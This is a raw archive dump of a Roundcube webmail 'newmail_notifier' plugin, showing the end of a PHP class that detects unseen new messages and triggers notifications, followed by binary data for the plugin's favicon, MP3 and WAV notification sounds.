        foreach ($this->exceptions as $folder) {
            if (strpos($mbox.$delimiter, $folder.$delimiter) === 0) {
                return $args;
            }
        }

        // Check if any of new messages is UNSEEN
        $deleted = $this->rc->config->get('skip_deleted') ? 'UNDELETED ' : '';
        $search  = $deleted . 'UNSEEN UID ' . $args['diff']['new'];
        $unseen  = $storage->search_once($mbox, $search);

        if ($unseen->count()) {
            $this->notified = true;

            $this->rc->output->set_env('newmail_notifier_timeout', $this->rc->config->get('newmail_notifier_desktop_timeout'));
            $this->rc->output->command('plugin.newmail_notifier',
                [
                    'basic'   => $this->opt['basic'],
                    'sound'   => $this->opt['sound'],
                    'desktop' => $this->opt['desktop'],
                ]
            );
        }

        return $args;
    }
}
PKh�\|�>B>B$plugins/newmail_notifier/favicon.iconu�[���@@ (B(@� ���v��)�	�	��)��v�UNA'UO?���7���4'����������������������UU@TP@�TO@�TO@���7���7���7���0������������������������������TOA^TO@�TO@�TO@�TO@���7���7���7���7�7o��U������������������2����2����������������SOA7TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7��9?��l������������������������������������(���TO@�TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���8���6!������������������������������������TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���;
������������������������������������TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���7�7f��������������������������������������TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���8��69���C��������������������������������>rm�SO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���8���5��L��������������������������������;wt�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�8���@��J��������������������������������<vs�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�6^��p������������������������������������0���TO@�TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7.��M����������������������������������������;xu�TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���=��N��������������������������������������������;xu�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�8w��+��x������������������������������������������������-���TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7��7J��W����������������������������������������������������8}{�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���8)��S��������������������������������������������������������9zx�TO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7������������������������������������������������������������TO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�7o��UIaW���������������������������������������������������������J^T�SO@�TO@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���8�TO@�TO@�TO@�TO@�TO@�������������������������������������������TO@�TO@�TO@�TO@�TO@�TO@�WRC�<���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�SPB���������������������SPB�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�UPA��~u��������ς���9���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�$�������������������$���TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�rnc����������������������h���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�����������������TO@�TO@�TO@�TO@�TO@�TO@�TO@�a\O������������������������������ٱ���O���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�����������������TO@�TO@�TO@�TO@�TO@�YTE������������������������������������������ԙ���@���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�������������TO@�TO@�TO@�TO@�UPA�|yo����������������������������������������������������}���9���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�SO@�?rm���������?rm�SO@�TO@�TO@�lh\����������������������������������������������������������������^���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�SPA���������SPA�TO@�`[N������������������������������������������������������������������������ث���L���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�+�������+���WRC���|��������������������������������������������������������������������������������ю���<���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�$���$���xtj����������������������������������������������������������������������������������������������w���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�gcV������������������������������������������������������������������������������������������������������۹���V���7���7���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@������������������������������������������������������������������������������������������������������������������բ���8���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@������������������������������������������������������������������������������������������������������������������������ֲ���7���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�]XJ��������������������������������������������������������������������������������������������������������������������������P���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@������������������������������������������������������������������������������������������������������������������������������԰���7���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@����������������������������������������������������������������������������������������������������������������������������������8���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�lh[���������������������������������������������������������������������������������������������������������������������������������n���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@������������������������������������������������������������������������������������������������������������������������������������Ӫ���7���7���7���7���7���7���7���7���7���7�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@����������������������������������������������������������������������������������������������������������������������������������������7���7���7���7���7���7���7���7���7���7�SMB�TO?�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@����������������������������������������������������������������������������������������������������������������������������������������7���7���7���7���7���7���7���7���7���6�ULBSOA�TO@�TO@�TO@�TO@�TO@�TO@�VQB��������������������������������������������������������������������������������������������������������������������������������������;���7���7���7���7���7���7���8���8 UPB6UO@�TO@�TO@�TO@�TO@�\WI��������������������������������������������������������������������������������������������������������������������������������������L���7���7���7���7���6��6=TOA^TO@�TO@�TO@�b^P��������������������������������������������������������������������������������������������������������������������������������������]���7���7���7�7o��U]FFTP@�TO@�a]O��������������������������������������������������������������������������������������������������������������������������������������W���7���7���3UN@$_ZL��������������������������������������������������������������������������������������������������������������������������������������L��7*��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������̤�������������������������������������������������������������������������������������������������������������������������������������e��������������������������������������������������������������������������������������������������������������������������������ݞ������������������������������������������������������������������������������������������������������������������������������������7�����������������������������������������������������������������������������������������������������������������������������������a��������������������������������������������������������������������������������������������������������������������������ۜ����������������������������������������������������������������������������������������������������������������������������������j��������������������������������������������������������������������������������������������������������������������ݤ����������������������������������������������������������������������������������������������������������������������������2���������������������������������������������������������������������������������������������������������������W���m��������������������������������������������������������������������������������������������������������ܨ��̑���������������������������������������������������������������������������������������������������������̤�����������������������������������������������������������������������������������������������������͓���������������������������������������������������������������������������������������������^���������������������������������������������������������������������������������ܦ���*�����������������������������������������������������������������������������K������[���������������������������������������������������������������ܒ���������M��˭������������������������������������������������ہ������
���J��̈��̳�������������������������������}�����|?����?�p�����@�����������������������?���������?�����?�������������������������������������?�����������������������������?���������PKh�\{���)�)"plugins/newmail_notifier/sound.mp3nu�[���ID3
oTDRC2021TBPM0TIT2Caedrium Notification.mp3TPE1Renan Andrade TorrenteCOMM)XXXLicense: can be used for commercial and personal applications, as long as you credit my work.
The same applies to .wav version.

Contact: renan.torrente@hotmail.comTXXXTRACKTOTALTCOPRenan Andrade TorrenteTENCLAMETLANTPUB��T�����5�1� �7�
��ao�������!���'�s�B����I	��'���Bg���,�!G?��s�8v]�@���U��7Z��o:���)+�/�@#[���,�FA����=�{�p�FX=-%�R��ywiU}ES�q]MΑv�@(/w�lO]�>���dž]�U�QĖ��T�C��
]Eo���9U(�=��:J���}�S�/�ݫ-��F��C�f���9=I)��fu7F��|�b����p<	�s#Q��F�B&�
�7���1�*6+��ш���I}������H��
�Q����a|�ϼ�,^�.�����~�(O��۔�]�'&9�q�w�����*�w	����T�,��
A	O���O�)����$P��K*="2��ADF~W&�weܚ�Ӌ�'��3���(;!W5��ד��������G-B?�Kʖ��
��6���V2�I�׎Bݑ+�q֐�M"([yW���l�R#"1���X�+~\�q�&�`-�W�����?��?+=���v��"(.���T��
�G�q��F��u�4�i(�aL�2c�@�bt�[ߒM���vj�pp�LJx���&��S��_�ɭ��S�W�]BxR���gW��ؖ�$�D	'\�y��A*8	���Zñ�l�mК�~�/�G	Z���[T�A�����GF�ȃ��G���8�w5g��v��_���
i�$F��+���T�Gs
\�W��K�`�-4�˥��Bhi۩\�>$��l/rjK4�a��{]D��L0wIс)�;(��j�ep��ڸ�5BDz3$�H�a��ʝ��!+kQ�>4N���.d�W(zb�B"V�
�P��b���I��H�R-���{.�290�wӾN��/�-af������,�mva�H��T�J�
mE]� �N��}��6�M���`c��WYd���i��Z�+lJ�j�$Ӆ��a*����v�\�x��C�����ʚ�O��������(/
�$�BN���@X4���R3��o`]�~n�u��xcV���A�#�ެ~��;��+�T�p�䏸�E��B����t%/��F00F���T��
�EU��G�U(����&Xd �Yށ�& �G�ʅ*gI[_z�k0}��#yX��
j[qg���5�F��_��o�ظ�G����n`�
�;�)0�g��Ե�L��]�d&��E2���ן��X�	��J�j�%D�)��:��ʗ�?O�T;���	�+����ݴ<l@1h�}��$��T�`�
8�_콧�@*������ƺ�Lm��2��#��*)����{��K%/��R�ʻAB��H����Y�|Ď��W�~Vzs��C�v�h�������W�I�?;-c��Q5�IR_HLOzȄ{�@K���,C+u&a���)m����g�_�o����O���4"	���m�~ҚU���T����
�[���i�j��$S̪6ɂT�?��P� v�ZtذO��|�7zRfc�p���ߓF�a�D����]�ɉ���P�yiy��H*2���*T��쒬S9��f�,Yև����POT�m���#��u�h���E���8@���8�A�r���PC�
̄A+�T�v:�
MEU-ઁ,������)���)�
�X;ͫ�̥����̔t)ur��cb����F_��3�*�	��`��,�_�����"��7�c��*�Dȴ�!�������L����xٝ�!k�[�&�����厯�\[�cѿ�oƟ�`�~��ajn�h�
�n��OmU��Z@œ�B��T�a�
	mS���&�*5��:CW���I���o?[�Ŭ\w�Ɂ��ʫ*����O�ߦ6����%����~���]"�� �͝{�����X��Ɓ y���N��o�W��.�<�ѥ@,��=z�bw�������g��	��ld��ij��C��K)!q��ym�z�A�	��3:׼�?
i�mD)[��T���	Q_�1��)�j��6��bV߬C%�'��Ͽ��'��&g�o�y�� +������;�(�!�Ba���~r������^_�1P�3�f�����҅Զ�Ԑs�G�;��������G��k��!�@;��aO��:C��T5�V1c1#�O��5;��,g$���l��@f���%��]���T̟j!	EQ��M�&��5�5�����R��FЏV��7�[a�l�@|I�=�Oz�Ta,Y�6����+�!���o�S+���������_�F����%�����ͽ��X�
�Z$�5����}����z�!��wv�Q�2����\��Q����M=�R�����/]�� *���~��T��i+�	-E���)��5�5��jF���K<&Q�5��#B��N쟂,oi�^��c.��D�_� ���7(����o�����r�$eʃ-�ԗ��M%c_D7L�E�]�}P�/�b�0kc�i�����e���"߫�}����o,-���,��~��W/���#⫆Ez��m˱J���T�D%6	?�1L���u��"�$\����r�g0ݑп���U�?)��\��Yu�9$�B�=r��a��hC�6 �y��DA0����[�2�{\�X��jc)�@�����v�������86R�%�������i�9���<�6�)�T?���8��M��,ܼĝ�@�p_��6�T�seB	5M$�����	�.��;J�w�ò�� �<%O(��81HLyx�&v��y%r�2��[��S~ؒPH�}���5*�Sm:�ry1]���)��[��Vw���T�C��C��J����8Q�O-6�)B㰳�/��2 ��LjJ'�G�im@�g��tUP0�gm��c�� 9��R��Ṯ�N�'Ll��5���A3h%��l�HF�ۋ�|����ڕ����;�E�iO��O�������=Ό�;�y�Pȶ7�HD1v�\���i��ʙ�q���L
x0T�"
e���_��:�}n<Q%��dD�����rC�d��b*���q45i\p
h��{���d��T̈]�c7�la��%�
�	<H�����1e��kD9�(�����(�= �QvO�"G5|w���`(uK�2�j�rߩG�C�O_�b�[��]��d�[iǺq>t(��j�&��Y�8�r�O�,�82U��4\D�'�K����ѪJ?ҿ��� @�%�B\Q9���
�����ͣ7�� ��7>��T�f n�kC�<eq(4��f�C�ˋ��n��ԭ��In��.��V�;���V�ejjYdd'|�.��@�iH+�:�=yM1���p3\�=��S�ݰh�����OO��e��9��0o��Ё� N(%vipn�()
�����dfHq1��{��?�����)$nId�H�(ޫ�@T���T�La��O5@�a�e4�hW���%�R��k��9�V��:���A4)�s	�A����������7{����F��O43d�
���K��l�|
��N`�L��$�P0�Ar�oٶޟ�w����M���۫d���,���M�wtX�N���Ü"k�T�ȝ�dMO���I�nMg:�OM��	z[�g�؀��T�Z�Ty'��A��$i���Բ0׿u]u�6|����3���3��;ۜ��Is���	YsO!j��b������U	#m�d�@��6�b�c	���@����f�˫�M4�krh��g�%V���؏�����Il	��Et&��ߐQ�X�p,��69�,�ߦ�A�"�8E��NsȮ��T����5��CP��#�}�h�Iy���=��E��R�v�]��J���%0i�?	�.j�t:� �#I^(?�s�4E�r!_����HצV�[KQ&D�1��C�p �����m\��
#���A�\~���.9֌�nw5S(&X��$�F�u�4�g�dN�&�Y�1h�Vub�l���T��T�6��iA�ΰ芤������ڈ�rkWzvܳ�Ο��LAME3.99.5�Y"�G��6�Y�����@���!��o�F��٣�)�a�����^#�j���gM�����$6�,T�(==J�J�m.ߋض����)������ycΥt��jm�6�~�������J��
�-���T�8���m3�`�
�頍��#d��x�h��qK]"a�ԏ��jڃ�R�^���Qm������[�Y����V�q�T�aI//A���p���t2�Nb�.��F�tˉ	�=��\�*�nj?��.�+���c�OH˴�b�8�2*��BB�����DxEj�k���<l�P\���A+���T��U��eE��a����������uF9�)KE��LAME3.99.5UUUUUUUUUUUUUUUUUUUUUU���E�/����
>Lx��ei"-5�D4�J��N�v����
���_�됍��w��Z=m������A��km�)WO����p� '��7�t��^�~ԫ����--����o��H	��q��Ṯ��
gLlh��	�4|l�d'{���d���e5B@�X/G�'�5S7��\��"�t�^�i?Z�ޯ�?��g�M2��7������_�=v�U�H���$v5j��a�f����pIr���01S-Ha��w��䂤!��+u�W��t�2�v��c���GS���!��4φ!�����;%��T̵���\U;��A�,�)ĕ���q$\b1Ȉ�ee�>mLdv�#d(��)����c�$5V��f���+��n�ag#���4aޟ��������J��j�$�ۭ�\�tRJ�ư����{V�JJ��=�2�q���e�)�����쌏��D��	�$Xzq
��Nй��*,�a̸8�T>>'b��T�7��Lk)L�o„��<aLr�]�F�0��C����$	"��Yuy�������l5�f�ϖZA��Oe�8lLJ�wUj�##���E��w
�_�ʠ�
7��T��k��
Osc��Y�=�!�Ɛ�ha �G*.
�a!,C�M12��3��%Z'25���Io�:�������WELA��T�>��	�G1�0Jq�*�
�M4�L�gC��"8��ђ�3sI?"ѡ
�;|bջ��H�����2e��v F���5��g���l�G(ԣ�C7f�IO�w[ͫ�Q���G�D�NO���7�@BͲY"2�c���|<(Z���(��z�ɭ�Wz���}M��'���¾�–٩Df�	.��T���@E7��a�^����\�Y���H����?�8�h��,��*��bl��i����[Ss9wm.�K�!���W���7�*[j��MӠK�od���}��I�V�D�#���Ѝ!h�*� ���߀(��R��j{���aF��o�y�Ҥ�y�*v�&��_gϥ�A�q�Z*ԩ��2��T��3���q
Lq̄�4�6k�0ˏ�]*
�v�#h����0�$�tc	"<[�ׯ�|RW�o1�׻��S��G�� ��Jը�C�&��Bg��8������E9����B��?FN��]jgw��
}Ym���[[L/+~��dM'oJ���}�+�E�����[k���.>o��Lr8�{a�_��=��T��2�
iS͠N����\$\�՗�����C�<w�]�'��'�0%lTa@�NI
���* |�0�zMX�SH�}o��]�E�Uތ>�Ց���ꊌ��i�11K�
[ ZJZ/{	H�cM��Fy}k]z�4t�՜H(p*(f7���iO��eݍ�'��]��-����t]�S�N�gU�9���E��T̿s���C��E)c����a��9���=;��x�as�Q��z�k��U
&���#h���'��T��pg1B����?��g��jV��b�
f��h��*y&H�3n(`#��j����[)��Ŭ39��0S�C/}K+(#%r��(!l�Zb�ԡ6��Rr?�R]L�!H1��gJF��T���%7��"��a��I�Z�֌:c0��ׂ	-�L�0�LAME3.99.5�������#{M���6�o�l��a�/.�Jz�,��~�z�[:�_��_QDC	��V�-lY��N�SkyG]�?�����<�ɟ-�RK�Ͳ�K�Ȃ����ǜ�>����ub�:dbD����T��g�
�-$J�h�!ٱ�iN\j�[	�+?lC%G�
s�Y�-ԗ���dT%&&�* �Z���׌Ơ�aT�at��r�T���ʓ���M�c�e(�L�橚�,��=� �.��+B]��B屈|&U�<#f�s]e�V��P�"��9�ʇ
$��6�_f���.�k_P�Z,�Q?Z��,��T��'��#7��B��!%�iR�-Q��H6e�j!*���c[��T�g�\=y�g�V�
�M�=�3<i!��
�-��\�˕�O6���Te������s�V��gb[lYM�V�4J:5�5�LS�R�5��ۂH�	s��6��!t}҃"IT�
���Ts�P���`��+���gl����T�P��%+�=�2��50�|���7u|��c�v��U3����LAME3.99.5UUUUUUU���i�['C�XI����Z�_0t��A~Z2�]p�	{���0*�Y%6ҩ�
��`pvU���:�в�]cXM�FfKv�E(�l����H�:��7c}��C��_r���vl�f�B2��T̔)���k�leI��ܘXU�P��hv�y���1���dg����
zJ�V�~R3��Υ�w*��ϕ���)|�#��\������#�z��K_�������Y�kiY,w�Z!r T��.k��w��<�,�
[$�
�;��K#�z�~�s��z��a����y{:��Rg?Qbn�~���T̊���a,�O	h �$Y��.�=z�&�=����LAME%"QB�ɸ։�52�`@
�-���-���UA��}��a\�2��Y�:��3<���r8E�t"+�L�I�8���<^1���]IL�AK<�|4J���G(�9}Fc�����ض؝Wn��*�+h�gg��l��ou5H���T��-�	LF�"@�e<7��Ici&�ԢC�C�d�;���	O��n�Q���	��]��'m�˟޵��s������㼏�QC���{C��6�5�j�
4�@��������]���5TI�c�%4!�0�>A��v[H3�9!�l�`g�Ҟ��2�����1x�F2g/6gx�E�
dD����rR��T��e��!]��c)z a%����0�CfU:$�-mò�8�3! �A�gu�LAME��8�i���ծ�K�8h
%^�ilgh������me�=�X�+��6��3̟M]���}�3������Yh6hZ���}��?o��4�r�$����2��4a��S�{;-��j���j6}�}Z��LAME��T��k�(dc@��d�&\3.99.T�x����d`BX�(`!��^��J,�r�9���̖ ��6b��%�u�V����m��:�bM��`8�]�`Dy��$����m���Y��;($@�@QaR��Z�,�a�$����C����x=1A���*1<娋�4��LAME��T���
D%��B��.`�
�13.99.5UUUUUUUUUUUUUUUUUUrmH0�����@q� �*z.�LfWDTT=F"���J��m��lG(8BT��$$����闓k��s�g�7*E�����M��}��
��g�ڊ�e�_b%#wY$�$�q@�L�$%�k�{z4��aO����O��jLAME��T�X�8�Lm��&t@�3.99.5�������������������4���#i&��b��V��MԽ�6��n�gu˰ͭf��^��u;I������II
$��o���M	g�!�e�-ddh�5h*d5!!��-�2z^�ّKU�2�����R�̬��[z�n�y�_�?Qy�㸲�.?��R_��LAME��T̚o�d-
�����ft��3.99.5UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUI
�8�i8#��$M��I�EEO�����&���$��Ѝ3�����ɦP�h�ԙd2������Rj��n�&�C0�LAME��T����o
��c(�&t<�3.99.5���������������������������������������������������������������������������������������������������������������������������������������������������������������������T�3��t/���1_"#�-���������������������������������������������������������������������������������������������������������������������������������������������������������������������������T�[���5E
��s�4��������������������������������������������������������������������������������������������������������������������������������������������������������������������������TAGCaedrium Notification.mp3Renan Andrade Torrente2021License: can be used for com�PKh�\!��B��"plugins/newmail_notifier/sound.wavnu�[���RIFF�WAVEfmt ��wdataB������������������!����&���������������W�4�O�r�Y����G�Q����k�����O�_���������YPF�*�>0�V�@�r���_�����������������d�r���������'�����z�p������3�u�������)����������I��y�R�1��?�������?�z��E�e��n�(�z�����i�������l�k�2�a�e��;����{�*-��
�u������T��������+�x���
���@���6����`������I�R��+��}����5������~�i�	�
8������T��]a
Pl���
����x���,�	��3������4�-�އ�Q�A�6ޥޭ�t�Q���e�j�B�r�`��3���$�	�
u��� Z$�'j*F,�-�/�1�3�5�79�9o98�6/4�0�+�$��F	?/�H�6��D�/�	�7�	����ѮΚ�ɨ�Ũ�����IØĭƛ�C�8�����+���#�N���B
�w($)�.5:�=!AE�I-MO1P�QS'T_T�S1R�O�L�I�FCT>a9a4"/X)#~��_	�������O���&�����<�q�V�v�z�ZÃ�=�	ìŸ�<�*�ϵ��٪ݑ��9�f���9 n�
$I*�1>9�>C�FK�P�T%V�V>X�ZV[Z�V�S�Q�O;KKDM>m944�-Q'L z*�	L.����������C�B���X��1������躚����ż����"�t���v�1��eJ��![*3;�A]I�P�V�\b`fi�ktn,p�q�sst(sGq�mufj\�Q$J�DT?�6\+	!d.��H������o�
�D���=����4�ȕC�$�,�v�W��7�’
�;��H�C�4�R�l�+�J��~�a����B�)�1�68=�D5M�S0WdXRYh]_aa:^�[{[tZW�Q�J�E�Bk>K5+#��&i�����u�I�X�=ư�E�𲌫d����<�z������꛻���A���ԯ�
�r���^ԓ�����p����t%7+�2�9X?#ChEH�K�N�M�K�I"HFC�=7�1-O&E"J����߈�~ѩǺ���J���~��V�|���ٍ����o�.�q����@�x���� �U��Û���{���:�e��qQJ�$/-5B;?�A�E?K�O0P1O�O�P�P_NJBEPB@�:�2�*�$$�8������T�&һ˓�5�ᵕ����L���T�J�����,�����M�-��e�����w�����Ӌܔ���}��Y!j(�/�6�=kC�F3J�N�RTT�S�R�QPMH$C�?�:%3L+�#��g��,�d���ۚ�b�^Ŏ����S�.�
�1�������|��^�P�A�0��o�<�%ϳ�J���������8�~#Y*a/D5�=FnL]O�R6X�]Ma�a�azbRdze�b^�Z�YW(Q�I�B]=�8e2%(���%
��3�/�X�8�1ҽ���o���B�z�ɵf���0���}�N�	�m�)�ϩ�p������w���
^%,=3�:�B_J�P�TcX�]�be�eFf�f�f�f�c�_&\�Y&V�O^HuA;5�-�$t��
c����z�����t׷�?ʓƑ�f�
�O��@�<�p�M�Ѷ����F���f�$�ֱ�����n���Y�"C+�1�6=E�L�QU�Y_~c5f�f*g7h|j�j�g�cbn`�\�VP�IEG@�8�.�&| _����������r��Ӿ���P������Ѹ�^��������X���n̈́����܋���Y��x�,�!(�/8�?{DH�L�R�V�X�X=Y�Z}\{[TW�S�QhO+K�DE=�6&2�,�#�M^
�#���b�h�TͿ�,�`�x���ޭ�P�,�q�q���T��8�4����A��_�B�}���/��E��
�Y�%�,�2 8�<EA�E�I�L�MxNP�QQ,OM�J^H�D�?�9�40�)�"��Q��C�>�z���Iׅ�t�"����ܭy�ʨئ��񢌢����ǧ������綤�G�!�3�Չܝ�����2���
q�$�)�-	3�8==?�?�@C�DlC#@p=�;�9�5�/#)D$= ��*	A����2�s�����Q��m�r�q��N�n�1���r�'���\���T��b�ڥȫ���-��������Շ�����m�9��	<B�"U(�-3r7�:�=@�BZD�D�D/D2CA�>;�6!38/�)_#I"��	L������S�+��Ї�n��͹��L�����ƨ
�I�Y�"�>�Ʃb�f���e�ϼL•�-����-�m���ie����%+�/_5�:-?�A0C4E�G%IdHBF�D1C?Aj=\8�3^/�*%�b��	+0��_�J���١�-�_Ƅ�Žb�����"�b���(���ܮ�H��ɷ��$Ƭ�"��{���5���0���%�+�0*6)<�AF�H�K�O�R~T�T�T�T�T�S�P�L�I"GXC�=�72�,*'Z �o1����g�!��F�'�-�����{�2�%���F�g�#�e���-�Eʇ�~ѿ�2ݜ�F�	��^6
|v�S'/f5�:@pERJSN%QUS�U�W�XQXWV�TWR�N�J�F*B=�7!16*$���n������v�e���֜���1�f�?�3������H�-�]�~ģ�N�dώӿ��v��j�K���Vd	��&-2�6<B`G K�M�PyTXiYY�X}Y�YgXWU�QDO�L*I�CX=�73�-�&�
��%�|��������"�ӎ�I�a�J�������5��ē�4ʨ̭���6۷�:���&�+�A���%c+I1�6�;@�C�F�I	LmM�M�M[M�L�J�G�D�A�=d954l.z(�"T���$n�����"ߐ���P�&����������"�𴫴
�������ǽ�x��a�q�t����K�x��8
W
�!'�,�1z5	85;_?�B�CuC�CxD�D�C�@�=�;O9�5@0�*�%!���
Q������[�2�,ղ���|����5�A����^��l�%�5�����®Nj��;֦����{���t9	�]�� �%Y)�,�0]4�6�7,8�8U9�87g4�1�/�,%(�"����
�H�G�
����a�/��κ��:�j��y�������Q�o�����t����1���x������Ƌ�!�?טݡ���%�IS
�����$=(�+�/r3-6�7�8�9v:�:�986-4�1u.�)G%!�y\(��D�C�7�
��������&�W�S�Y���������2��޵�޹.���:�
���hҋ�������7�<���	��-"�&C*.�2�6N9n:P;�<�=�=<�98�64�/�*D&V"~�w8%�������݌���f�Q����;{�λF�3�����"�'����0�,̺Ъ���B���+�]�/�.�S]	��d!�&�+0P4�8�<�?=B3D�E�GrH`H�G�F�E�CKA>Z:�6�2L.)�#`�O9
����J��W����9�E���c�Ŏ��	�ȶȶ���̘��ҥ֡���`����P� �D
>(��"�)�/�3�7�;&@D�F�G�HJ�K�KJRH�F�EC?N:@6�2�.�(Z"���L.�����m���V��C������ŝ���j�Wȶ�s����!��:�@�z�<���.����F�	K�UV!n'_,R0x49�=A�C�E�GIJLAL�K�K;K9JBHfEB�><8�2�-)8$��Lc7��w���F�������غ�T�������2�H�G��˔�5�<����v�M��j�
�^�g����R��! '�+�/�3�7I;f=�>B@�A�B�B|A@�>=�:�6�2/k+�&7!n���V������p���W����Ш���g����-�ӿ��S�_�K�J�B�x�(�Y�h�Z�K�}�T��������}�	tC�WM"�&s+/#1�2�5b8�9�9�9�9�9	9�6�3�0�.,�'�"��mD�	P��n�����O����Ԡ�v˿�s�t�I�1�����R�����o�-� �[������I�Y�t���I�����U	}p �� �$�'
*U,p.�/�0�060\/X.�,*'$� ����	�C�Z����=��5��0��ύ�dǟÉ��ʻ��
�%���J�ڷ����>�����L�u�ј�#�����f������
A��� �#6&�(�+�..0�0�0�0�1N1B/�,�*�(z&�"*�%}
j�C�������)�?����_���z�|�{ƒ�����8����ŵ���͜�5���9�u��3�m�-
����A"�%�(�+�.�0n223�3�3�3341/-�*�'�#���R�w�������O�2��� ����[κ�ɷ�E��ĺĉĆ�^�8�~ɥ��ͺЁ���������p��"��-	9�8&w!A&�*�-�0u3�6>9�:�;�;�<�= =�;�98x6(4�0~,�(�%�!����	���?�8����~���(݁�qח���ҝ���JП��(��Ո�٣�����L�N�U�k�.�"�j��$d)�-�0�3�6�9�<�=,>�>�?.@?==;�9�7�4�0�,F)�%�!��
.	����������������`�~�;ו�O��c�l���џӂ���d������(�R�J�H�u���$f	�k�"a&�*0.[1W4W72:h<�=�>�?i@�@@�>p=<9:�7'4�0n-�)�%!V�"S	�����D��{����T�ە���z�6�8Ӳ������+ֿ�C�aݐ��/�+��w�!���n���e���"�&z),,f/�25�5X6Q7u8�8�7�5�3�21�-�)(&#�T�NN���x��M�g�l�I�Qڵ�h���@��N�7���:��Ʌ��̫���f���M��ݳ�n�G�E����S�g
�z�d��!�$>(�*\,�-]/�001
1g0�//�-�+�(�%W#/ Z&�����L���?�f�����Iڅ�������
�$�y�i�"�v���F�8�-��=бҎ��5�l�s��%�M�b��i��
=	��"�$�%�&+(^)�)�(N'1&?%�#� <=	�ZYb���L�M�����'�vٷ���Ϗ�c�,����Ğ�P���������Ɓɝ̣�R�/�؋���c����>
^���L�!$#�$!'�(w)2)�(�(�(�'a%�"!H�t��
�	6&�����T�t���^�G߶۬�!Է��%��'�C�u��ɽ����1ͫ����Ӕ�_ڱލ��������6�
u	)v7�O� �#�%�')�*�+,�++p*p)�'Y%�"- yN|i��
��k�������[�W���ݧڃ�����a�аΦ�u�ͪ�W�a��c�נ�A�]�%�0������>��+I��
